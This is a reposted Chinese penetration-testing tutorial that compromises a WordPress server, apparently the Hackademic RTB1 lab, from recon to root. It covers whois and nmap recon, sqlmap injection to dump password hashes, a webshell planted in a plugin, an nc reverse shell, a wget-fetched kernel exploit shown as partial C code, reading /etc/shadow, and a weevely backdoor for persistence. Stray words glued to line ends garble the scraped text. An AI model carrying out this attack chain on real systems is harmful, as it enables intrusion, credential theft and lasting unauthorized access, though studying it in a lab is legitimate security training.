【轉載】從信息收集到入侵提權(滲透測試基礎總結)

原文連接:https://www.cnblogs.com/hanxiaobei/p/5603629.htmlphp

 

本文將從最開始的信息收集開始講述是如何一步步的攻破你的網站和服務器的.閱讀本文你會學到如下內容:html

1.滲透測試前的簡單信息收集mysql

2.sqlmap的使用linux

3.nmap的使用web

4.nc反彈提權sql

5.linux系統的權限提高shell

6.backtrack 5(如今爲kali)中滲透測試工具nikto和w3af的使用等數據庫

假設要入侵的網站域名爲:hack-test.comapache

讓咱們用ping命令獲取網站服務器的IP地址.安全

從信息收集到入侵提權(滲透測試基礎總結) - 第1張  | 阿德馬Web安全

獲取了網站服務器的IP地址爲:173.236.138.113

若是網站是託管的可能在同一服務器上有多個域名。尋找同一服務器上的其它網站,使用sameip.org.

從信息收集到入侵提權(滲透測試基礎總結) - 第2張  | 阿德馬Web安全

26 sites hosted on IP Address 173.236.138.113


173.236.138.113上有26個網站,爲了攻破網站可能會檢查同服務器上的其它網站,可是本次是以研究爲目標,拋開服務器上的其它網站,只針對你的網站來進行入侵檢測。

  1. DNS records (A, NS, TXT, MX and SOA)
  2. Web Server Type (Apache, IIS, Tomcat)
  3. Registrar (the company that owns your domain)
  4. Your name, address, email and phone
  5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
  6. Your server OS (Unix,Linux,Windows,Solaris)
  7. Your server open ports to internet (80, 443, 21, etc.)

開始找網站的DNS記錄,用who.is來完成這一目標.

從信息收集到入侵提權(滲透測試基礎總結) - 第3張  | 阿德馬Web安全

發現DNS記錄以下:

從信息收集到入侵提權(滲透測試基礎總結) - 第4張  | 阿德馬Web安全

來肯定web服務器的類型:

從信息收集到入侵提權(滲透測試基礎總結) - 第5張  | 阿德馬Web安全

Web服務器是apache,接下來肯定它的版本.

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 從信息收集到入侵提權(滲透測試基礎總結) - 第6張  | 阿德馬Web安全 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 從信息收集到入侵提權(滲透測試基礎總結) - 第7張  | 阿德馬Web安全 1 Month: 2.0 3 Month: 3.7

接下來是時候尋找你網站域名的註冊信息,你的電話、郵箱、地址等.

從信息收集到入侵提權(滲透測試基礎總結) - 第8張  | 阿德馬Web安全

如今已經獲取了網站域名的註冊信息,包括重要信息等.

能夠經過backtrack 5中的whatweb來獲取網站服務器操做系統類型和服務器的版本.

從信息收集到入侵提權(滲透測試基礎總結) - 第9張  | 阿德馬Web安全

從信息收集到入侵提權(滲透測試基礎總結) - 第10張  | 阿德馬Web安全

發現網站使用了著名的php整站程序wordpress,服務器的的系統類型爲Fedora Linux,Web服務器版本Apache 2.2.15.繼續查看網站服務器開放的端口,用滲透測試工具nmap:

1-Find services that run on server(查看服務器上運行的服務)

從信息收集到入侵提權(滲透測試基礎總結) - 第11張  | 阿德馬Web安全
2-Find server OS(查看操做系統版本)

從信息收集到入侵提權(滲透測試基礎總結) - 第12張  | 阿德馬Web安全
只有80端口是開放的,操做系統是Linux2.6.22(Fedora Core 6),如今已經收集了全部關於網站的重要信息, 接下來開始掃描尋找漏洞,好比:

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.

接下來將使用Nikto來收集漏洞信息:

root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com

從信息收集到入侵提權(滲透測試基礎總結) - 第13張  | 阿德馬Web安全
也會用到Backtrack 5 (kali)中的W3AF 工具:

root@bt:/pentest/web/w3af# ./w3af_gui

從信息收集到入侵提權(滲透測試基礎總結) - 第14張  | 阿德馬Web安全

輸入要檢測的網站地址,選擇完整的安全審計選項.

從信息收集到入侵提權(滲透測試基礎總結) - 第15張  | 阿德馬Web安全

稍等一會,你將會看到掃描結果.

從信息收集到入侵提權(滲透測試基礎總結) - 第16張  | 阿德馬Web安全

發現網站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.來探討SQL注入漏洞.

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

經過工具發現這個URL存在SQL注入,經過Sqlmap來檢測這個url.

Using sqlmap with –u url

從信息收集到入侵提權(滲透測試基礎總結) - 第17張  | 阿德馬Web安全

過一會你會看到

從信息收集到入侵提權(滲透測試基礎總結) - 第18張  | 阿德馬Web安全

輸入N按回車鍵繼續

從信息收集到入侵提權(滲透測試基礎總結) - 第19張  | 阿德馬Web安全

發現網站存在mysql顯錯注入,mysql數據庫版本是5.0. 經過加入參數」-dbs」來嘗試採集數據庫名.

 從信息收集到入侵提權(滲透測試基礎總結) - 第20張  | 阿德馬Web安全

從信息收集到入侵提權(滲透測試基礎總結) - 第21張  | 阿德馬Web安全

發現三個數據庫,接下來經過參數」-D wordpress -tables」來查看wordpress數據庫的全部表名

從信息收集到入侵提權(滲透測試基礎總結) - 第22張  | 阿德馬Web安全

從信息收集到入侵提權(滲透測試基礎總結) - 第23張  | 阿德馬Web安全

經過參數「-T wp_users –columns 」來查看wp_users表中的字段.

 從信息收集到入侵提權(滲透測試基礎總結) - 第24張  | 阿德馬Web安全

從信息收集到入侵提權(滲透測試基礎總結) - 第25張  | 阿德馬Web安全

接下來猜解字段user_login和user_pass的值.用參數」-C user_login,user_pass –dump」

從信息收集到入侵提權(滲透測試基礎總結) - 第26張  | 阿德馬Web安全

發現用戶名和密碼hashes值. 咱們須要經過如下在線破解網站來破解密碼hashes

http://www.onlinehashcrack.com/free-hash-reverse.php

從信息收集到入侵提權(滲透測試基礎總結) - 第27張  | 阿德馬Web安全

登錄wordpress的後臺wp-admin

嘗試上傳php webshell到服務器,以方便運行一些linux命令.在插件頁面尋找任何能夠編輯的插件. 選擇Textile這款插件,編輯插入咱們的php webshell,點擊更新文件,而後訪問咱們的php webshell.
 

從信息收集到入侵提權(滲透測試基礎總結) - 第28張  | 阿德馬Web安全

從信息收集到入侵提權(滲透測試基礎總結) - 第29張  | 阿德馬Web安全

Php webshell被解析了,能夠控制網站的文件,可是咱們只但願得到網站服務器的root權限,來入侵服務器上其它的網站。

用NC來反彈一個shell,首先在咱們的電腦上監聽5555端口.

從信息收集到入侵提權(滲透測試基礎總結) - 第30張  | 阿德馬Web安全

而後在Php webshell上反向鏈接咱們的電腦,輸入你的IP和端口5555.
 

從信息收集到入侵提權(滲透測試基礎總結) - 第31張  | 阿德馬Web安全

點擊鏈接咱們會看到
 

從信息收集到入侵提權(滲透測試基礎總結) - 第32張  | 阿德馬Web安全

 

接下來咱們嘗試執行一些命令:

id
 
uid=48(apache) gid=489(apache) groups=489(apache)
 (用來顯示用戶的id和組)

pwd
 
/var/www/html/Hackademic_RTB1/wp-content/plugins
 (顯示服務器上當前的路徑)

uname -a
 
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(顯示內核版本信息)

從信息收集到入侵提權(滲透測試基礎總結) - 第33張  | 阿德馬Web安全

如今知道:服務器的內核版本是2.6.31.5-127.fc12.1686,在exploit-db.com中搜索此版本的相關漏洞.
在服務器上測試了不少exp以後,用如下的exp來提高權限.
http://www.exploit-db.com/exploits/15285
 
咱們在nc shell上執行如下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下載exp到服務器並重命名爲roro.c)
注:不少linux內核的exp都是C語言開發的,所以咱們保存爲.c擴展名.
exp roro.c代碼以下:
 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(「[*] Could not open socket.\n」);
exit(-1);
}
memset(&addr, 0, sizeof(addr));

 
經過以上代碼發現該exp是C語言開發的,須要將他編譯成elf格式的,命令以下:
 
gcc roro.c –o roro
 
接下來執行編譯好的exp
 
./roro

 

從信息收集到入侵提權(滲透測試基礎總結) - 第34張  | 阿德馬Web安全

 
執行完成以後咱們輸入id命令
 
id
 
咱們發現咱們已是root權限了
 
uid=0(root) gid=0(root)

從信息收集到入侵提權(滲透測試基礎總結) - 第35張  | 阿德馬Web安全

 
如今咱們能夠查看/etc/shadow文件
cat /etc/shadow
 

從信息收集到入侵提權(滲透測試基礎總結) - 第36張  | 阿德馬Web安全

 
查看/etc/passwd 文件

cat /etc/passwd
 

從信息收集到入侵提權(滲透測試基礎總結) - 第37張  | 阿德馬Web安全

 
可使用」john the ripper」工具破解全部用戶的密碼.須要在這個服務器上留下後門以方便在任什麼時候候訪問它.

用weevely製做一個php小立刻傳到服務器上.

1.weevely使用選項
root@bt:/pentest/backdoors/web/weevely# ./main.py –
 
從信息收集到入侵提權(滲透測試基礎總結) - 第38張  | 阿德馬Web安全

2.用weevely建立一個密碼爲koko的php後門

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

從信息收集到入侵提權(滲透測試基礎總結) - 第39張  | 阿德馬Web安全

接下來上傳到服務器以後來使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

從信息收集到入侵提權(滲透測試基礎總結) - 第40張  | 阿德馬Web安全

 
測試hax.php後門

從信息收集到入侵提權(滲透測試基礎總結) - 第41張  | 阿德馬Web安全

相關文章
相關標籤/搜索